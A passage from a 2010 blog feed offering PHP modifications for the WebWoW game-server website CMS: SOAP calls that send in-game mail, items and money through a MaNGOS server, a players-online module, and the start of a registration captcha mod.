&nbsp;<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$server</span><span style="color: #339933;">,</span><span style="color: #000088;">$ra_user</span><span style="color: #339933;">,</span><span style="color: #000088;">$ra_pass</span><span style="color: #339933;">,</span><span style="color: #000088;">$db</span><span style="color: #339933;">,</span><span style="color: #000088;">$a_user</span><span style="color: #339933;">,</span><span style="color: #000088;">$se_c</span><span style="color: #339933;">,</span><span style="color: #000088;">$realm</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000088;">$playername</span> <span style="color: #339933;">=</span> clean_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$playername</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$subject</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^A-Za-z0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> clean_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$subject</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//no whitespaces</span><br />
&nbsp;<span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//item id</span><br />
&nbsp;<span style="color: #000088;">$realmid</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$realmid</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//item id</span><br />
&nbsp;<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$item</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$text</span> <span style="color: #339933;">=</span> clean_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000088;">$money</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$money</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
&nbsp; <span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'GMNAME'</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'GMPASS'</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$soapport</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">7878</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$item</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//send item</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'send items '</span><span style="color: #339933;">.</span><span style="color: #000088;">$playername</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$text</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; '</span><span style="color: #339933;">.</span><span style="color: #000088;">$item</span><span style="color: #339933;">.</span><span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$moneytext</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;strong&gt;Your reward has been sent.&lt;/strong&gt; Please check your mailbox in game!&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <br />
&nbsp; <span style="color: #000088;">$client</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SoapClient<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">,</span><br />
&nbsp; <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;location&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;http://<span style="color: #006699; font-weight: bold;">$host</span>:<span style="color: #006699; font-weight: bold;">$soapport</span>/&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;uri&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;urn:MaNGOS&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;style&quot;</span> <span style="color: #339933;">=&gt;</span> SOAP_RPC<span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">'login'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$username</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">'password'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$password</span><br />
&nbsp; <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <br />
&nbsp; try <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">executeCommand</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> SoapParam<span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;command&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">return</span> &nbsp;<span style="color: #0000ff;">&quot;&lt;!-- success --&gt;&lt;span class=<span style="color: #000099; font-weight: bold;">\&quot;</span>colorgood<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mailtext</span><span style="color: #339933;">.</span><span style="color: #000088;">$moneytext</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$status</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Command failed! Reason:&lt;br /&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$e</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
&nbsp;<br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$money</span><span style="color: #339933;">&gt;</span><span style="color: #0000ff;">'0'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$money</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #666666; font-style: italic;">//send money</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'send money '</span><span style="color: #339933;">.</span><span style="color: #000088;">$playername</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$text</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; '</span><span style="color: #339933;">.</span><span style="color: #000088;">$money</span><span style="color: #339933;">.</span><span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$client</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SoapClient<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">,</span><br />
&nbsp; <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;location&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;http://<span style="color: #006699; font-weight: bold;">$host</span>:<span style="color: #006699; font-weight: bold;">$soapport</span>/&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;uri&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;urn:MaNGOS&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;style&quot;</span> <span style="color: #339933;">=&gt;</span> SOAP_RPC<span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">'login'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$username</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">'password'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$password</span><br />
&nbsp; <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <br />
&nbsp; try <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">executeCommand</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> SoapParam<span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;command&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$moneytext</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;strong&gt;Your money has been sent.&lt;/strong&gt; Please check your mailbox in game!&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$moneytext</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Failed to send any money. &lt;br /&gt;Please contact support!&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #b1b100;">else</span> <span style="color: #666666; font-style: italic;">//send mail</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'send mail '</span><span style="color: #339933;">.</span><span style="color: #000088;">$playername</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$text</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$client</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SoapClient<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">,</span><br />
&nbsp; <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;location&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;http://<span style="color: #006699; font-weight: bold;">$host</span>:<span style="color: #006699; font-weight: bold;">$soapport</span>/&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;uri&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;urn:MaNGOS&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">&quot;style&quot;</span> <span style="color: #339933;">=&gt;</span> SOAP_RPC<span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">'login'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$username</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp;<span style="color: #0000ff;">'password'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$password</span><br />
&nbsp; <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <br />
&nbsp; try <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$client</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">executeCommand</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> SoapParam<span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;command&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$moneytext</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;strong&gt;Your mail was sent.&lt;/strong&gt; Please check your mailbox in game!&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$moneytext</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Failed to send your mail. &lt;br /&gt;Please contact support!&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #000088;">$check</span><span style="color: #339933;">=</span><span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM mail WHERE receiver = '&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;' AND subject ='&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;' LIMIT 1&quot;</span><span style="color: #009900;">&#41;</span>or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$check</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$status</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Rechecking, just to make sure mail is actually sent:&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;iframe style='width:96%; &nbsp;height:100px' src='./include/core/mangos_iframe_mailcheck.php?shopid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;reciver=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;subject=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;realmid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$realmid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;shash=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a_user</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #000088;">$se_c</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&gt;&lt;a href='./include/core/mangos_iframe_mailcheck.php?shopid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;reciver=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;subject=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;realmid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$realmid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;shash=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a_user</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #000088;">$se_c</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&gt;Check here if your mail is here.&lt;/a&gt;&lt;/iframe&gt;&lt;/center&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp;<span style="color: #b1b100;">return</span> &nbsp;<span style="color: #0000ff;">&quot;&lt;!-- success --&gt;&lt;span class=<span style="color: #000099; font-weight: bold;">\&quot;</span>colorgood<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mailtext</span><span style="color: #339933;">.</span><span style="color: #000088;">$moneytext</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&lt;/span&gt;&lt;br&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$status</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">return</span> &nbsp;<span style="color: #0000ff;">&quot;&lt;span class=<span style="color: #000099; font-weight: bold;">\&quot;</span>colorbad<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;Mail Problem: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$remote_login</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/span&gt;&lt;br&gt;Used login: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$ra_user</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>5 &#8211; Change the username, password, host, and port (in the code above):</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; <span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'GMNAME'</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'GMPASS'</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$soapport</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">7878</span><span style="color: #339933;">;</span></div></div>
<p>To a relevant account with admin access and you&#8217;re all set.<br />
This modification will allow you to use SOAP instead of Remote Access and should work exactly the same.</p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/426-webdesign-webwow-in-game-mail-using-soap-ra-replacement/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WebWoW Players Online Module</title>
		<link>http://abeontech.com/424-webdesign-webwow-players-online-module</link>
		<comments>http://abeontech.com/424-webdesign-webwow-players-online-module#comments</comments>
		<pubDate>Mon, 20 Dec 2010 08:40:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Mod]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://abeontech.com/?p=424</guid>
		<description><![CDATA[This module will show a list of the current users online with their sex, race, class, name, level, and location.]]></description>
			<content:encoded><![CDATA[<p>This module will show a list of the current users online with their sex, race, class, name, level, and location.<br />
It was designed with WebWoW CMS v2 in mind and hasn&#8217;t been tested on prior versions.<br />
No file edits are required. Simply upload the files and then add a link to the page using the &#8220;Menu Manager&#8221;<span id="more-424"></span></p>
<p>The code isn&#8217;t amazing but works perfectly and will be updated soon to include some form of map with the actual players locations indicated.<br />
Stay tuned for updates <img src='http://abeontech.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>WebWoW Players Online Module</h3>
<p><img src="http://i54.tinypic.com/ivkdqf.jpg" alt="Online Players Module" /></p>
<ol>
<li>Upload the contents of the folder to your website&#8217;s root.</li>
<li>Login to your WebWoW&#8217;s admin panel / Menu Manager.</li>
<li>Add a link with the following information:</li>
<li style="list-style:none;position:relative;left:20px">URL: ./?page=online</li>
</ol>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a  title='WebWoW Players Online Module' href='http://abeontech.com/?wpdmact=process&did=Mi5ob3RsaW5r' style="background:url('http://abeontech.com/wp-content/plugins/download-manager/icon/download.png') no-repeat;padding:3px 12px 12px 28px;font:bold 10pt verdana;">Download Players Online Module</a></p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/424-webdesign-webwow-players-online-module/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WebWoW Captcha on Registration Mod</title>
		<link>http://abeontech.com/422-webdesign-webwow-captcha-on-registration-mod</link>
		<comments>http://abeontech.com/422-webdesign-webwow-captcha-on-registration-mod#comments</comments>
		<pubDate>Wed, 15 Dec 2010 19:35:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Mod]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://abeontech.com/?p=422</guid>
		<description><![CDATA[The WebWoW CMS has just released a v2 beta which is great so far.
Of course there are a few small bugs, but nothing huge.

I will probably make a few mods and hacks for the CMS as it's a great project with a nice style and ethos.
This modification will place a captcha on the registration page to help prevent spam, bots, and fake registrations.]]></description>
			<content:encoded><![CDATA[<p>The WebWoW CMS has just released a v2 beta which seems great so far.<br />
Of course there are a few small bugs, but nothing that breaks functionality&#8230; Mostly undefined indexes and the like.</p>
<p>I will probably make a few mods and hacks for the CMS as it&#8217;s a great project with a nice style and ethos.<br />
This simple modification will place a captcha on the registration page to help prevent spam, bots, and fake registrations.<span id="more-422"></span></p>
<p>After about 10 minutes of setting the WebWoW CMS I started to get bot registrations indicated by the spammy usernames and lack of activity.<br />
Hopefully this will be of use to someone <img src='http://abeontech.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Only two files edits are required so it shouldn&#8217;t take more than 5 minutes to implement.</p>
<h3>WebWoW Registration Captcha Mod</h3>
<p><img src="http://i56.tinypic.com/14ay0k8.jpg" alt="WebWoW Captcha Mod" /></p>
<p>Please remember to backup any files before editing!</p>
<p><strong>1 &#8211; Open:</strong> engine/func/session.php</p>
<p>&nbsp; <strong>1a. Find:</strong> (about line 324)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> register<span style="color: #009900;">&#40;</span><span style="color: #000088;">$subuser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subpass</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subemail</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></div>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <strong>Change To:</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> register<span style="color: #009900;">&#40;</span><span style="color: #000088;">$subuser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subpass</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subemail</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subcaptcha</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></div>
<div style="height:20px">&nbsp;</div>
<p>&nbsp;<strong>1b. Find:</strong> (about line 397)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$subemail</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$subemail</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <strong>Add BELOW:</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">/* captcha error checking - nowares */</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$field</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;captcha&quot;</span><span style="color: #339933;">;</span> &nbsp;<span style="color: #666666; font-style: italic;">//Use field name for the generated captcha image</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$subcaptcha</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$subcaptcha</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'captcha'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
